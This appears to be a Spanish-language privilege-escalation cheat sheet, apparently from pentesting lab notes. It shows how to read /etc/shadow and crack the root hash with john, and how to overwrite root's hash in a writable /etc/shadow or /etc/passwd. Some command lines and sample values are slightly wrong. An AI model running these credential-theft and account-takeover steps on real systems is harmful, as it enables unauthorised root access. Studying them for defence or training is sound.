Weak File permissions
Readable /etc/shadow
La forma de conseguir una password es revisar el etc/shadow que podría contener los password hashes ,estos se puede usar para conseguir la password de root. Normalmente sólo puede leerlo el usuario root.
cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxkI0:17298:0:99999:7:::
Para conseguir la password debemos crear un archivo que contenga el hashe luego usar john :
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxkI0
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Writable /etc/shadow
Si el archivo /etc/shadow se puede editar como usuario .Podemos generar una password hash y editar el archivo shadow.
mkpasswd -m sha-512 root
$6$P1LBzL29kpCQkf$pqry9A70tR9UQH3UdWdxZb9x8n8J6A92BP2eKFeEBg2Yw9x4YOMBbrr27tTDaHDyUPQ8flyFyKLnUaonbph8Z/
El hash generado lo cambiamos en root.
root:$6$E3A8UKtXdLFv0iQY$XmQl5WHRFTIc2K5GsiJNNQqJz4tjGDku09dIR4Vy0dr7VjTe3xCS7OmN5XMrFmQd02BlGamHao7/ji5Ozn0cN1:17298:0:99999:7:::
su root
whoami > root
Writable /etc/passwd
El archivo /etc/passwd también tiene información de los usuario ,como el paso anterior se puede generar una nueva password pero ahora de otra forma para el archivo passwd:
openssl passwd super
JLf6kBvhmX.zQ
Se debe editar el archivo passwd en el usuario root .
root:x0:0:root:/root:/bin/bash
Se debe cambiar la x por la pasword generada.
root:JLf6kBvhmX.zQ:0:0:root:/root:/bin/bash su root
Última actualización